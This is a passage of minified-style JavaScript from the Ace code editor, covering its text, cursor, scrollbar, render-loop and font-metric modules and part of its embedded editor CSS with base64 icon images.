renderTokens.push(tokens[idx]);
col += value.length;
idx += 1;
}
}
var tokens = session.getTokens(row);
foldLine.walk(function(placeholder, row, column, lastColumn, isNewRow) {
if (placeholder != null) {
renderTokens.push({
type: "fold",
value: placeholder
});
} else {
if (isNewRow)
tokens = session.getTokens(row);
if (tokens.length)
addTokens(tokens, lastColumn, column);
}
}, foldLine.end.row, this.session.getLine(foldLine.end.row).length);
return renderTokens;
};
this.$useLineGroups = function() {
return this.session.getUseWrapMode();
};
this.destroy = function() {
clearInterval(this.$pollSizeChangesTimer);
if (this.$measureNode)
this.$measureNode.parentNode.removeChild(this.$measureNode);
delete this.$measureNode;
};
}).call(Text.prototype);
exports.Text = Text;
});
ace.define("ace/layer/cursor",["require","exports","module","ace/lib/dom"], function(require, exports, module) {
"use strict";
var dom = require("../lib/dom");
var isIE8;
var Cursor = function(parentEl) {
this.element = dom.createElement("div");
this.element.className = "ace_layer ace_cursor-layer";
parentEl.appendChild(this.element);
if (isIE8 === undefined)
isIE8 = !("opacity" in this.element.style);
this.isVisible = false;
this.isBlinking = true;
this.blinkInterval = 1000;
this.smoothBlinking = false;
this.cursors = [];
this.cursor = this.addCursor();
dom.addCssClass(this.element, "ace_hidden-cursors");
this.$updateCursors = (isIE8
? this.$updateVisibility
: this.$updateOpacity).bind(this);
};
(function() {
this.$updateVisibility = function(val) {
var cursors = this.cursors;
for (var i = cursors.length; i--; )
cursors[i].style.visibility = val ? "" : "hidden";
};
this.$updateOpacity = function(val) {
var cursors = this.cursors;
for (var i = cursors.length; i--; )
cursors[i].style.opacity = val ? "" : "0";
};
this.$padding = 0;
this.setPadding = function(padding) {
this.$padding = padding;
};
this.setSession = function(session) {
this.session = session;
};
this.setBlinking = function(blinking) {
if (blinking != this.isBlinking){
this.isBlinking = blinking;
this.restartTimer();
}
};
this.setBlinkInterval = function(blinkInterval) {
if (blinkInterval != this.blinkInterval){
this.blinkInterval = blinkInterval;
this.restartTimer();
}
};
this.setSmoothBlinking = function(smoothBlinking) {
if (smoothBlinking != this.smoothBlinking && !isIE8) {
this.smoothBlinking = smoothBlinking;
dom.setCssClass(this.element, "ace_smooth-blinking", smoothBlinking);
this.$updateCursors(true);
this.$updateCursors = (this.$updateOpacity).bind(this);
this.restartTimer();
}
};
this.addCursor = function() {
var el = dom.createElement("div");
el.className = "ace_cursor";
this.element.appendChild(el);
this.cursors.push(el);
return el;
};
this.removeCursor = function() {
if (this.cursors.length > 1) {
var el = this.cursors.pop();
el.parentNode.removeChild(el);
return el;
}
};
this.hideCursor = function() {
this.isVisible = false;
dom.addCssClass(this.element, "ace_hidden-cursors");
this.restartTimer();
};
this.showCursor = function() {
this.isVisible = true;
dom.removeCssClass(this.element, "ace_hidden-cursors");
this.restartTimer();
};
this.restartTimer = function() {
var update = this.$updateCursors;
clearInterval(this.intervalId);
clearTimeout(this.timeoutId);
if (this.smoothBlinking) {
dom.removeCssClass(this.element, "ace_smooth-blinking");
}
update(true);
if (!this.isBlinking || !this.blinkInterval || !this.isVisible)
return;
if (this.smoothBlinking) {
setTimeout(function(){
dom.addCssClass(this.element, "ace_smooth-blinking");
}.bind(this));
}
var blink = function(){
this.timeoutId = setTimeout(function() {
update(false);
}, 0.6 * this.blinkInterval);
}.bind(this);
this.intervalId = setInterval(function() {
update(true);
blink();
}, this.blinkInterval);
blink();
};
this.getPixelPosition = function(position, onScreen) {
if (!this.config || !this.session)
return {left : 0, top : 0};
if (!position)
position = this.session.selection.getCursor();
var pos = this.session.documentToScreenPosition(position);
var cursorLeft = this.$padding + (this.session.$bidiHandler.isBidiRow(pos.row, position.row)
? this.session.$bidiHandler.getPosLeft(pos.column)
: pos.column * this.config.characterWidth);
var cursorTop = (pos.row - (onScreen ? this.config.firstRowScreen : 0)) *
this.config.lineHeight;
return {left : cursorLeft, top : cursorTop};
};
this.update = function(config) {
this.config = config;
var selections = this.session.$selectionMarkers;
var i = 0, cursorIndex = 0;
if (selections === undefined || selections.length === 0){
selections = [{cursor: null}];
}
for (var i = 0, n = selections.length; i < n; i++) {
var pixelPos = this.getPixelPosition(selections[i].cursor, true);
if ((pixelPos.top > config.height + config.offset ||
pixelPos.top < 0) && i > 1) {
continue;
}
var style = (this.cursors[cursorIndex++] || this.addCursor()).style;
if (!this.drawCursor) {
style.left = pixelPos.left + "px";
style.top = pixelPos.top + "px";
style.width = config.characterWidth + "px";
style.height = config.lineHeight + "px";
} else {
this.drawCursor(style, pixelPos, config, selections[i], this.session);
}
}
while (this.cursors.length > cursorIndex)
this.removeCursor();
var overwrite = this.session.getOverwrite();
this.$setOverwrite(overwrite);
this.$pixelPos = pixelPos;
this.restartTimer();
};
this.drawCursor = null;
this.$setOverwrite = function(overwrite) {
if (overwrite != this.overwrite) {
this.overwrite = overwrite;
if (overwrite)
dom.addCssClass(this.element, "ace_overwrite-cursors");
else
dom.removeCssClass(this.element, "ace_overwrite-cursors");
}
};
this.destroy = function() {
clearInterval(this.intervalId);
clearTimeout(this.timeoutId);
};
}).call(Cursor.prototype);
exports.Cursor = Cursor;
});
ace.define("ace/scrollbar",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/event","ace/lib/event_emitter"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var dom = require("./lib/dom");
var event = require("./lib/event");
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var MAX_SCROLL_H = 0x8000;
var ScrollBar = function(parent) {
this.element = dom.createElement("div");
this.element.className = "ace_scrollbar ace_scrollbar" + this.classSuffix;
this.inner = dom.createElement("div");
this.inner.className = "ace_scrollbar-inner";
this.element.appendChild(this.inner);
parent.appendChild(this.element);
this.setVisible(false);
this.skipEvent = false;
event.addListener(this.element, "scroll", this.onScroll.bind(this));
event.addListener(this.element, "mousedown", event.preventDefault);
};
(function() {
oop.implement(this, EventEmitter);
this.setVisible = function(isVisible) {
this.element.style.display = isVisible ? "" : "none";
this.isVisible = isVisible;
this.coeff = 1;
};
}).call(ScrollBar.prototype);
var VScrollBar = function(parent, renderer) {
ScrollBar.call(this, parent);
this.scrollTop = 0;
this.scrollHeight = 0;
renderer.$scrollbarWidth =
this.width = dom.scrollbarWidth(parent.ownerDocument);
this.inner.style.width =
this.element.style.width = (this.width || 15) + 5 + "px";
this.$minWidth = 0;
};
oop.inherits(VScrollBar, ScrollBar);
(function() {
this.classSuffix = '-v';
this.onScroll = function() {
if (!this.skipEvent) {
this.scrollTop = this.element.scrollTop;
if (this.coeff != 1) {
var h = this.element.clientHeight / this.scrollHeight;
this.scrollTop = this.scrollTop * (1 - h) / (this.coeff - h);
}
this._emit("scroll", {data: this.scrollTop});
}
this.skipEvent = false;
};
this.getWidth = function() {
return Math.max(this.isVisible ? this.width : 0, this.$minWidth || 0);
};
this.setHeight = function(height) {
this.element.style.height = height + "px";
};
this.setInnerHeight =
this.setScrollHeight = function(height) {
this.scrollHeight = height;
if (height > MAX_SCROLL_H) {
this.coeff = MAX_SCROLL_H / height;
height = MAX_SCROLL_H;
} else if (this.coeff != 1) {
this.coeff = 1;
}
this.inner.style.height = height + "px";
};
this.setScrollTop = function(scrollTop) {
if (this.scrollTop != scrollTop) {
this.skipEvent = true;
this.scrollTop = scrollTop;
this.element.scrollTop = scrollTop * this.coeff;
}
};
}).call(VScrollBar.prototype);
var HScrollBar = function(parent, renderer) {
ScrollBar.call(this, parent);
this.scrollLeft = 0;
this.height = renderer.$scrollbarWidth;
this.inner.style.height =
this.element.style.height = (this.height || 15) + 5 + "px";
};
oop.inherits(HScrollBar, ScrollBar);
(function() {
this.classSuffix = '-h';
this.onScroll = function() {
if (!this.skipEvent) {
this.scrollLeft = this.element.scrollLeft;
this._emit("scroll", {data: this.scrollLeft});
}
this.skipEvent = false;
};
this.getHeight = function() {
return this.isVisible ? this.height : 0;
};
this.setWidth = function(width) {
this.element.style.width = width + "px";
};
this.setInnerWidth = function(width) {
this.inner.style.width = width + "px";
};
this.setScrollWidth = function(width) {
this.inner.style.width = width + "px";
};
this.setScrollLeft = function(scrollLeft) {
if (this.scrollLeft != scrollLeft) {
this.skipEvent = true;
this.scrollLeft = this.element.scrollLeft = scrollLeft;
}
};
}).call(HScrollBar.prototype);
exports.ScrollBar = VScrollBar; // backward compatibility
exports.ScrollBarV = VScrollBar; // backward compatibility
exports.ScrollBarH = HScrollBar; // backward compatibility
exports.VScrollBar = VScrollBar;
exports.HScrollBar = HScrollBar;
});
ace.define("ace/renderloop",["require","exports","module","ace/lib/event"], function(require, exports, module) {
"use strict";
var event = require("./lib/event");
var RenderLoop = function(onRender, win) {
this.onRender = onRender;
this.pending = false;
this.changes = 0;
this.window = win || window;
};
(function() {
this.schedule = function(change) {
this.changes = this.changes | change;
if (!this.pending && this.changes) {
this.pending = true;
var _self = this;
event.nextFrame(function() {
_self.pending = false;
var changes;
while (changes = _self.changes) {
_self.changes = 0;
_self.onRender(changes);
}
}, this.window);
}
};
}).call(RenderLoop.prototype);
exports.RenderLoop = RenderLoop;
});
ace.define("ace/layer/font_metrics",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"], function(require, exports, module) {
var oop = require("../lib/oop");
var dom = require("../lib/dom");
var lang = require("../lib/lang");
var useragent = require("../lib/useragent");
var EventEmitter = require("../lib/event_emitter").EventEmitter;
var CHAR_COUNT = 0;
var FontMetrics = exports.FontMetrics = function(parentEl) {
this.el = dom.createElement("div");
this.$setMeasureNodeStyles(this.el.style, true);
this.$main = dom.createElement("div");
this.$setMeasureNodeStyles(this.$main.style);
this.$measureNode = dom.createElement("div");
this.$setMeasureNodeStyles(this.$measureNode.style);
this.el.appendChild(this.$main);
this.el.appendChild(this.$measureNode);
parentEl.appendChild(this.el);
if (!CHAR_COUNT)
this.$testFractionalRect();
this.$measureNode.innerHTML = lang.stringRepeat("X", CHAR_COUNT);
this.$characterSize = {width: 0, height: 0};
this.checkForSizeChanges();
};
(function() {
oop.implement(this, EventEmitter);
this.$characterSize = {width: 0, height: 0};
this.$testFractionalRect = function() {
var el = dom.createElement("div");
this.$setMeasureNodeStyles(el.style);
el.style.width = "0.2px";
document.documentElement.appendChild(el);
var w = el.getBoundingClientRect().width;
if (w > 0 && w < 1)
CHAR_COUNT = 50;
else
CHAR_COUNT = 100;
el.parentNode.removeChild(el);
};
this.$setMeasureNodeStyles = function(style, isRoot) {
style.width = style.height = "auto";
style.left = style.top = "0px";
style.visibility = "hidden";
style.position = "absolute";
style.whiteSpace = "pre";
if (useragent.isIE < 8) {
style["font-family"] = "inherit";
} else {
style.font = "inherit";
}
style.overflow = isRoot ? "hidden" : "visible";
};
this.checkForSizeChanges = function() {
var size = this.$measureSizes();
if (size && (this.$characterSize.width !== size.width || this.$characterSize.height !== size.height)) {
this.$measureNode.style.fontWeight = "bold";
var boldSize = this.$measureSizes();
this.$measureNode.style.fontWeight = "";
this.$characterSize = size;
this.charSizes = Object.create(null);
this.allowBoldFonts = boldSize && boldSize.width === size.width && boldSize.height === size.height;
this._emit("changeCharacterSize", {data: size});
}
};
this.$pollSizeChanges = function() {
if (this.$pollSizeChangesTimer)
return this.$pollSizeChangesTimer;
var self = this;
return this.$pollSizeChangesTimer = setInterval(function() {
self.checkForSizeChanges();
}, 500);
};
this.setPolling = function(val) {
if (val) {
this.$pollSizeChanges();
} else if (this.$pollSizeChangesTimer) {
clearInterval(this.$pollSizeChangesTimer);
this.$pollSizeChangesTimer = 0;
}
};
this.$measureSizes = function() {
if (CHAR_COUNT === 50) {
var rect = null;
try {
rect = this.$measureNode.getBoundingClientRect();
} catch(e) {
rect = {width: 0, height:0 };
}
var size = {
height: rect.height,
width: rect.width / CHAR_COUNT
};
} else {
var size = {
height: this.$measureNode.clientHeight,
width: this.$measureNode.clientWidth / CHAR_COUNT
};
}
if (size.width === 0 || size.height === 0)
return null;
return size;
};
this.$measureCharWidth = function(ch) {
this.$main.innerHTML = lang.stringRepeat(ch, CHAR_COUNT);
var rect = this.$main.getBoundingClientRect();
return rect.width / CHAR_COUNT;
};
this.getCharacterWidth = function(ch) {
var w = this.charSizes[ch];
if (w === undefined) {
w = this.charSizes[ch] = this.$measureCharWidth(ch) / this.$characterSize.width;
}
return w;
};
this.destroy = function() {
clearInterval(this.$pollSizeChangesTimer);
if (this.el && this.el.parentNode)
this.el.parentNode.removeChild(this.el);
};
}).call(FontMetrics.prototype);
});
ace.define("ace/virtual_renderer",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/config","ace/lib/useragent","ace/layer/gutter","ace/layer/marker","ace/layer/text","ace/layer/cursor","ace/scrollbar","ace/scrollbar","ace/renderloop","ace/layer/font_metrics","ace/lib/event_emitter"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var dom = require("./lib/dom");
var config = require("./config");
var useragent = require("./lib/useragent");
var GutterLayer = require("./layer/gutter").Gutter;
var MarkerLayer = require("./layer/marker").Marker;
var TextLayer = require("./layer/text").Text;
var CursorLayer = require("./layer/cursor").Cursor;
var HScrollBar = require("./scrollbar").HScrollBar;
var VScrollBar = require("./scrollbar").VScrollBar;
var RenderLoop = require("./renderloop").RenderLoop;
var FontMetrics = require("./layer/font_metrics").FontMetrics;
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var editorCss = ".ace_editor {\
position: relative;\
overflow: hidden;\
font: 12px/normal 'Monaco', 'Menlo', 'Ubuntu Mono', 'Consolas', 'source-code-pro', monospace;\
direction: ltr;\
text-align: left;\
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);\
}\
.ace_scroller {\
position: absolute;\
overflow: hidden;\
top: 0;\
bottom: 0;\
background-color: inherit;\
-ms-user-select: none;\
-moz-user-select: none;\
-webkit-user-select: none;\
user-select: none;\
cursor: text;\
}\
.ace_content {\
position: absolute;\
-moz-box-sizing: border-box;\
-webkit-box-sizing: border-box;\
box-sizing: border-box;\
min-width: 100%;\
}\
.ace_dragging .ace_scroller:before{\
position: absolute;\
top: 0;\
left: 0;\
right: 0;\
bottom: 0;\
content: '';\
background: rgba(250, 250, 250, 0.01);\
z-index: 1000;\
}\
.ace_dragging.ace_dark .ace_scroller:before{\
background: rgba(0, 0, 0, 0.01);\
}\
.ace_selecting, .ace_selecting * {\
cursor: text !important;\
}\
.ace_gutter {\
position: absolute;\
overflow : hidden;\
width: auto;\
top: 0;\
bottom: 0;\
left: 0;\
cursor: default;\
z-index: 4;\
-ms-user-select: none;\
-moz-user-select: none;\
-webkit-user-select: none;\
user-select: none;\
}\
.ace_gutter-active-line {\
position: absolute;\
left: 0;\
right: 0;\
}\
.ace_scroller.ace_scroll-left {\
box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;\
}\
.ace_gutter-cell {\
padding-left: 19px;\
padding-right: 6px;\
background-repeat: no-repeat;\
}\
.ace_gutter-cell.ace_error {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==\");\
background-repeat: no-repeat;\
background-position: 2px center;\
}\
.ace_gutter-cell.ace_warning {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==\");\
background-position: 2px center;\
}\
.ace_gutter-cell.ace_info {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=\");\
background-position: 2px center;\
}\
.ace_dark .ace_gutter-cell.ace_info {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC\");\
}\
.ace_scrollbar {\
position: absolute;\
right: 0;\
bottom: 0;\
z-index: 6;\
}\
.ace_scrollbar-inner {\
position: absolute;\
cursor: text;\
left: 0;\
top: 0;\
}\
.ace_scrollbar-v{\
overflow-x: hidden;\
overflow-y: scroll;\
top: 0;\
}\
.ace_scrollbar-h {\
overflow-x: scroll;\
overflow-y: hidden;\
left: 0;\
}\
.ace_print-margin {\
position: absolute;\
height: 100%;\
}\
.ace_text-input {\
position: absolute;\
z-index: 0;\
width: 0.5em;\
height: 1em;\
opacity: 0;\
background: transparent;\
-moz-appearance: none;\
appearance: none;\
border: none;\
resize: none;\
outline: none;\
overflow: hidden;\
font: inherit;\
padding: 0 1px;\
margin: 0 -1px;\
text-indent: -1em;\
-ms-user-select: text;\
-moz-user-select: text;\
-webkit-user-select: text;\
user-select: text;\
white-space: pre!important;\
}\
.ace_text-input.ace_composition {\
background: inherit;\
color: inherit;\
z-index: 1000;\
opacity: 1;\
text-indent: 0;\
}\
.ace_layer {\
z-index: 1;\
position: absolute;\
overflow: hidden;\
word-wrap: normal;\
white-space: pre;\
height: 100%;\
width: 100%;\
-moz-box-sizing: border-box;\
-webkit-box-sizing: border-box;\
box-sizing: border-box;\
pointer-events: none;\
}\
.ace_gutter-layer {\
position: relative;\
width: auto;\
text-align: right;\
pointer-events: auto;\
}\
.ace_text-layer {\
font: inherit !important;\
}\
.ace_cjk {\
display: inline-block;\
text-align: center;\
}\
.ace_cursor-layer {\
z-index: 4;\
}\
.ace_cursor {\
z-index: 4;\
position: absolute;\
-moz-box-sizing: border-box;\
-webkit-box-sizing: border-box;\
box-sizing: border-box;\
border-left: 2px solid;\
transform: translatez(0);\
}\
.ace_multiselect .ace_cursor {\
border-left-width: 1px;\
}\
.ace_slim-cursors .ace_cursor {\
border-left-width: 1px;\
}\
.ace_overwrite-cursors .ace_cursor {\
border-left-width: 0;\
border-bottom: 1px solid;\
}\
.ace_hidden-cursors .ace_cursor {\
opacity: 0.2;\
}\
.ace_smooth-blinking .ace_cursor {\
-webkit-transition: opacity 0.18s;\
transition: opacity 0.18s;\
}\
.ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {\
position: absolute;\
z-index: 3;\
}\
.ace_marker-layer .ace_selection {\
position: absolute;\
z-index: 5;\
}\
.ace_marker-layer .ace_bracket {\
position: absolute;\
z-index: 6;\
}\
.ace_marker-layer .ace_active-line {\
position: absolute;\
z-index: 2;\
}\
.ace_marker-layer .ace_selected-word {\
position: absolute;\
z-index: 4;\
-moz-box-sizing: border-box;\
-webkit-box-sizing: border-box;\
box-sizing: border-box;\
}\
.ace_line .ace_fold {\
-moz-box-sizing: border-box;\
-webkit-box-sizing: border-box;\
box-sizing: border-box;\
display: inline-block;\
height: 11px;\
margin-top: -2px;\
vertical-align: middle;\
background-image:\
url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),\
url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=\");\
background-repeat: no-repeat, repeat-x;\
background-position: center center, top left;\
color: transparent;\
border: 1px solid black;\
border-radius: 2px;\
cursor: pointer;\
pointer-events: auto;\
}\
.ace_dark .ace_fold {\
}\
.ace_fold:hover{\
background-image:\
url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),\
url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC\");\
}\
.ace_tooltip {\
background-color: #FFF;\
background-image: -webkit-linear-gradient(top, transparent, rgba(0, 0, 0, 0.1));\
background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));\
border: 1px solid gray;\
border-radius: 1px;\
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);\
color: black;\
max-width: 100%;\
padding: 3px 4px;\
position: fixed;\
z-index: 999999;\
-moz-box-sizing: border-box;\
-webkit-box-sizing: border-box;\
box-sizing: border-box;\
cursor: default;\
white-space: pre;\
word-wrap: break-word;\
line-height: normal;\
font-style: normal;\
font-weight: normal;\
letter-spacing: normal;\
pointer-events: none;\
}\
.ace_folding-enabled > .ace_gutter-cell {\
padding-right: 13px;\
}\
.ace_fold-widget {\
-moz-box-sizing: border-box;\
-webkit-box-sizing: border-box;\
box-sizing: border-box;\
margin: 0 -12px 0 1px;\
display: none;\
width: 11px;\
vertical-align: top;\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==\");\
background-repeat: no-repeat;\
background-position: center;\
border-radius: 3px;\
border: 1px solid transparent;\
cursor: pointer;\
}\
.ace_folding-enabled .ace_fold-widget {\
display: inline-block; \
}\
.ace_fold-widget.ace_end {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==\");\
}\
.ace_fold-widget.ace_closed {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==\");\
}\
.ace_fold-widget:hover {\
border: 1px solid rgba(0, 0, 0, 0.3);\
background-color: rgba(255, 255, 255, 0.2);\
box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);\
}\
.ace_fold-widget:active {\
border: 1px solid rgba(0, 0, 0, 0.4);\
background-color: rgba(0, 0, 0, 0.05);\
box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);\
}\
.ace_dark .ace_fold-widget {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC\");\
}\
.ace_dark .ace_fold-widget.ace_end {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==\");\
}\
.ace_dark .ace_fold-widget.ace_closed {\
background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==\");\
}\
.ace_dark .ace_fold-widget:hover {\
box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);\
background-color: rgba(255, 255, 255, 0.1);\
}\
.ace_dark .ace_fold-widget:active {\
box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);\
}\
.ace_fold-widget.ace_invalid {\
background-color: #FFB4B4;\
border-color: #DE5555;\
}\
.ace_fade-fold-widgets .ace_fold-widget {\
-webkit-transition: opacity 0.4s ease 0.05s;\
transition: opacity 0.4s ease 0.05s;\
opacity: 0;\
}\
.ace_fade-fold-widgets:hover .ace_fold-widget {\
-webkit-transition: opacity 0.05s ease 0.05s;\
transition: opacity 0.05s ease 0.05s;\
opacity:1;\
}\
.ace_underline {\
text-decoration: underline;\
}\
.ace_bold {\
font-weight: bold;\
}\
.ace_nobold .ace_bold {\
font-weight: normal;\
}\
.ace_italic {\
font-style: italic;\
}\
.ace_error-marker {\
background-color: rgba(255, 0, 0,0.2);\
position: absolute;\
z-index: 9;\
}\
.ace_highlight-marker {\
background-color: rgba(255, 255, 0,0.2);\
position: absolute;\
z-index: 8;\
}\
.ace_br1 {border-top-left-radius : 3px;}\
.ace_br2 {border-top-right-radius : 3px;}\
.ace_br3 {border-top-left-radius : 3px; border-top-right-radius: 3px;}\
.ace_br4 {border-bottom-right-radius: 3px;}\
.ace_br5 {border-top-left-radius : 3px; border-bottom-right-radius: 3px;}\
.ace_br6 {border-top-right-radius : 3px; border-bottom-right-radius: 3px;}\
.ace_br7 {border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px;}\
.ace_br8 {border-bottom-left-radius : 3px;}\
.ace_br9 {border-top-left-radius : 3px; border-bottom-left-radius: 3px;}\
.ace_br10{border-top-right-radius : 3px; border-bottom-left-radius: 3px;}\
.ace_br11{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-left-radius: 3px;}\
.ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\
.ace_br13{border-top-left-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\
.ace_br14{border-top-right-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\
.ace_br15{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\
.ace_text-input-ios {\
position: absolute !important;\
top: -100000px !important;\
left: -100000px !important;\
}\
";
